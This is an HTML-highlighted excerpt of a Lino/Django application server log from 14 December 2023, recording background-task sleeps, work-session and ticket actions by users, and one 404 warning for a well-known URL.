&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;08&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739873892096&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="n"&gt;pages&lt;/span&gt; &lt;span class="n"&gt;have&lt;/span&gt; &lt;span class="n"&gt;been&lt;/span&gt; &lt;span class="n"&gt;updated&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;08&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Let&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="n"&gt;tasks&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="mf"&gt;9.563372&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Let&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="n"&gt;tasks&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="mf"&gt;9.996238&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Let&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="n"&gt;tasks&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="mf"&gt;9.996709&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Let&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="n"&gt;tasks&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="mf"&gt;9.995795&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Let&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="n"&gt;tasks&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="mf"&gt;9.996443&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;01&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;08&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Let&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="n"&gt;tasks&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="mf"&gt;9.996272&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;01&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136971&lt;/span&gt; &lt;span class="mi"&gt;140023273858816&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;run_action&lt;/span&gt; &lt;span class="n"&gt;luc&lt;/span&gt; &lt;span class="n"&gt;working&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Sessions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end_session&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Session&lt;/span&gt; &lt;span class="c1"&gt;#26243 (&amp;#39;14.12.2023 16:50&amp;#39;)]&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;01&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Let&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="n"&gt;tasks&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="mf"&gt;9.996541&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;01&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Let&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="n"&gt;tasks&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="mf"&gt;9.995331&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;06&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;49&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Let&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="n"&gt;tasks&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="mf"&gt;9.996506&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;06&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Let&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="n"&gt;tasks&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="mf"&gt;9.996184&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139739903883008&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Let&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="n"&gt;tasks&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="mf"&gt;8.694031&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt; &lt;span class="mi"&gt;136971&lt;/span&gt; &lt;span class="mi"&gt;140023307429632&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Not&lt;/span&gt; &lt;span class="n"&gt;Found&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/.&lt;/span&gt;&lt;span class="n"&gt;well&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;known&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;traffic&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;advice&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136972&lt;/span&gt; &lt;span class="mi"&gt;140550714943232&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;run_action&lt;/span&gt; &lt;span class="n"&gt;luc&lt;/span&gt; &lt;span class="n"&gt;working&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MySessionsByDay&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;grid_put&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;lino_xl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;working&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ui&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Day&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="mh"&gt;0x7fd4826495e0&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Session&lt;/span&gt; &lt;span class="c1"&gt;#26243 (&amp;#39;14.12.2023 16:50&amp;#39;)]&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136971&lt;/span&gt; &lt;span class="mi"&gt;140022899271424&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;run_action&lt;/span&gt; &lt;span class="n"&gt;luc&lt;/span&gt; &lt;span class="n"&gt;working&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MySessionsByDay&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;grid_put&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;lino_xl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;working&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ui&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Day&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="mh"&gt;0x7f59bc1520a0&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Session&lt;/span&gt; &lt;span class="c1"&gt;#26242 (&amp;#39;14.12.2023 10:20&amp;#39;)]&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136972&lt;/span&gt; &lt;span class="mi"&gt;140550706550528&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;run_action&lt;/span&gt; &lt;span class="n"&gt;luc&lt;/span&gt; &lt;span class="n"&gt;working&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MySessionsByDay&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;grid_put&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;lino_xl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;working&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ui&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Day&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="mh"&gt;0x7fd481615e50&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Session&lt;/span&gt; &lt;span class="c1"&gt;#26245 (&amp;#39;14.12.2023 21:40&amp;#39;)]&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;37&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136971&lt;/span&gt; &lt;span class="mi"&gt;140023273858816&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;run_action&lt;/span&gt; &lt;span class="n"&gt;hannes&lt;/span&gt; &lt;span class="n"&gt;comments&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CommentsByRFC&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;submit_insert&lt;/span&gt; &lt;span class="n"&gt;Ticket&lt;/span&gt; &lt;span class="c1"&gt;#5311 (&amp;#39;#5311 (Install a Zulip instance 2023)&amp;#39;) []&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136972&lt;/span&gt; &lt;span class="mi"&gt;140550671939328&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;run_action&lt;/span&gt; &lt;span class="n"&gt;hannes&lt;/span&gt; &lt;span class="n"&gt;working&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Sessions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end_session&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Session&lt;/span&gt; &lt;span class="c1"&gt;#26244 (&amp;#39;14.12.2023 19:03&amp;#39;)]&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136972&lt;/span&gt; &lt;span class="mi"&gt;140550706550528&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;run_action&lt;/span&gt; &lt;span class="n"&gt;luc&lt;/span&gt; &lt;span class="n"&gt;working&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Sessions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end_session&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Session&lt;/span&gt; &lt;span class="c1"&gt;#26245 (&amp;#39;14.12.2023 21:30&amp;#39;)]&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136972&lt;/span&gt; &lt;span class="mi"&gt;140550706550528&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;run_action&lt;/span&gt; &lt;span class="n"&gt;luc&lt;/span&gt; &lt;span class="n"&gt;tickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AllTickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;submit_insert&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136972&lt;/span&gt; &lt;span class="mi"&gt;140550706550528&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;run_action&lt;/span&gt; &lt;span class="n"&gt;luc&lt;/span&gt; &lt;span class="n"&gt;tickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AllTickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;submit_detail&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Ticket&lt;/span&gt; &lt;span class="c1"&gt;#5319 (&amp;quot;#5319 (AttributeError: &amp;#39;PosixPath&amp;#39; object has no attribute &amp;#39;startswith&amp;#39;)&amp;quot;)]&lt;/span&gt;
